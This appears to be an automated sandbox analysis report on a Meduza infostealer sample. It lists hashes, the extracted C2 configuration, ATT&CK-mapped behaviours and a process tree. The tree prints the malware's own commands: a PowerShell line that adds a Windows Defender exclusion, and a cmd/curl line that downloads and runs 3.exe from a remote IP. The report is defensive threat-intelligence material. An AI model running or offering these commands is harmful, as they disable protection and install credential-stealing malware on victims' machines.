meduza | e5f28e017baf7ffebe3b58cee33a73d3006acf6f3e15c9bb149aa4a13da6c848

General

Target

iviewers.dll
Size

83KB
MD5

b273ffa32f2666ea4009ad513068fe88
SHA1

f5da4946574e72fa24587e005f9bf4974a37856d
SHA256

517963b561575a9592becf985ea32fa5a9c5accbcb4a70857ee5543c7b72e42f
SHA512

bc666ee4e658e0875e53b3157c07983660c5a2d0436f5cac57c1c704ccec0ea676700be28f00d7d623f922123ce1669ae868cefb35b67f1e181834e4cba9d794
SSDEEP

1536:cbo5eK+wzZQ1LRC7ivPv8ZqTfXeqvz+NBGQS18sWpcdVQHLHWeDCf7/P/:cs5tXVQLRC7iv4qTvcGQS1VQHjWeDCfb

Score

10^/10

meduza 3 collection discovery execution spyware stealer

Malware Config

Extracted

Family

meduza

Botnet

3

C2

45.93.20.15

Attributes

anti_dbg
true
anti_vm
true
build_name
3
extensions
.txt; .doc; .xlsx
grabber_maximum_size
4194304
port
15666
self_destruct
false

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral3/files/0x000b00000001e6db-43.dat	family_meduza

Meduza family
meduza

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2288	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
16	1932	curl.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\Control Panel\International\Geo\Nation	3.exe

Executes dropped EXE 1 IoCs

pid	Process
2076	3.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe
Key opened	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe
Key opened	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe
Key opened	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe
Key opened	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	api.ipify.org
19	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2288	powershell.exe
2288	powershell.exe
2076	3.exe
2076	3.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	2076	3.exe
Token: SeImpersonatePrivilege	2076	3.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 2392	3052	regsvr32.exe	85
PID 3052 wrote to memory of 2392	3052	regsvr32.exe	85
PID 3052 wrote to memory of 2392	3052	regsvr32.exe	85
PID 2392 wrote to memory of 1564	2392	regsvr32.exe	86
PID 2392 wrote to memory of 1564	2392	regsvr32.exe	86
PID 2392 wrote to memory of 1564	2392	regsvr32.exe	86
PID 1564 wrote to memory of 2288	1564	cmd.exe	88
PID 1564 wrote to memory of 2288	1564	cmd.exe	88
PID 1564 wrote to memory of 2288	1564	cmd.exe	88
PID 2392 wrote to memory of 4628	2392	regsvr32.exe	89
PID 2392 wrote to memory of 4628	2392	regsvr32.exe	89
PID 2392 wrote to memory of 4628	2392	regsvr32.exe	89
PID 4628 wrote to memory of 1932	4628	cmd.exe	91
PID 4628 wrote to memory of 1932	4628	cmd.exe	91
PID 4628 wrote to memory of 1932	4628	cmd.exe	91
PID 4628 wrote to memory of 2076	4628	cmd.exe	92
PID 4628 wrote to memory of 2076	4628	cmd.exe	92

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2392
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\3.exe'"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1564
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\3.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2288
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 3.exe http://147.45.44.170/3.exe & start 3.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4628
  - - C:\Windows\SysWOW64\curl.exe
      curl -o 3.exe http://147.45.44.170/3.exe
      4⤵
      Downloads MZ/PE file
      PID:1932
  - - C:\Windows\Temp\3.exe
      3.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:2076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nfxa4fxq.bce.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\3.exe

Filesize
1.2MB

MD5
5a808e801af08da761962ef77ba793fa

SHA1
a412e2b4644214f7ed003d94c7af33cdf8d0043c

SHA256
f6fa5378e234f61363321d4f2020cf4f483c0aae06031dbab60377071ff0667c

SHA512
020291dfb235293903b97c6a6809498ee08d285e4b739cce30878f17b74fa5f007a327b601978cde6626f230ca9aa271b83bc5e30f1d68de46c5eac04cdad341

Download Submit
memory/2288-20-0x0000000006980000-0x00000000069B2000-memory.dmp

Filesize
200KB

Download
memory/2288-53-0x00000000078E0000-0x00000000078EE000-memory.dmp

Filesize
56KB

Download
memory/2288-4-0x00000000053C0000-0x00000000053E2000-memory.dmp

Filesize
136KB

Download
memory/2288-5-0x0000000072DB0000-0x0000000073560000-memory.dmp

Filesize
7.7MB

Download
memory/2288-33-0x0000000072DB0000-0x0000000073560000-memory.dmp

Filesize
7.7MB

Download
memory/2288-6-0x0000000005BB0000-0x0000000005C16000-memory.dmp

Filesize
408KB

Download
memory/2288-2-0x0000000072DB0000-0x0000000073560000-memory.dmp

Filesize
7.7MB

Download
memory/2288-17-0x0000000005D90000-0x00000000060E4000-memory.dmp

Filesize
3.3MB

Download
memory/2288-18-0x0000000006390000-0x00000000063AE000-memory.dmp

Filesize
120KB

Download
memory/2288-19-0x00000000063D0000-0x000000000641C000-memory.dmp

Filesize
304KB

Download
memory/2288-27-0x0000000072DB0000-0x0000000073560000-memory.dmp

Filesize
7.7MB

Download
memory/2288-21-0x000000006F640000-0x000000006F68C000-memory.dmp

Filesize
304KB

Download
memory/2288-3-0x0000000005490000-0x0000000005AB8000-memory.dmp

Filesize
6.2MB

Download
memory/2288-0-0x0000000072DBE000-0x0000000072DBF000-memory.dmp

Filesize
4KB

Download
memory/2288-7-0x0000000005D20000-0x0000000005D86000-memory.dmp

Filesize
408KB

Download
memory/2288-34-0x0000000007570000-0x0000000007613000-memory.dmp

Filesize
652KB

Download
memory/2288-35-0x0000000072DB0000-0x0000000073560000-memory.dmp

Filesize
7.7MB

Download
memory/2288-36-0x0000000007CF0000-0x000000000836A000-memory.dmp

Filesize
6.5MB

Download
memory/2288-37-0x00000000076B0000-0x00000000076CA000-memory.dmp

Filesize
104KB

Download
memory/2288-38-0x0000000007720000-0x000000000772A000-memory.dmp

Filesize
40KB

Download
memory/2288-39-0x0000000007930000-0x00000000079C6000-memory.dmp

Filesize
600KB

Download
memory/2288-1-0x0000000002E00000-0x0000000002E36000-memory.dmp

Filesize
216KB

Download
memory/2288-44-0x00000000078B0000-0x00000000078C1000-memory.dmp

Filesize
68KB

Download
memory/2288-32-0x0000000006930000-0x000000000694E000-memory.dmp

Filesize
120KB

Download
memory/2288-54-0x00000000078F0000-0x0000000007904000-memory.dmp

Filesize
80KB

Download
memory/2288-55-0x00000000079F0000-0x0000000007A0A000-memory.dmp

Filesize
104KB

Download
memory/2288-56-0x00000000079D0000-0x00000000079D8000-memory.dmp

Filesize
32KB

Download
memory/2288-59-0x0000000072DB0000-0x0000000073560000-memory.dmp

Filesize
7.7MB

Download

Analysis

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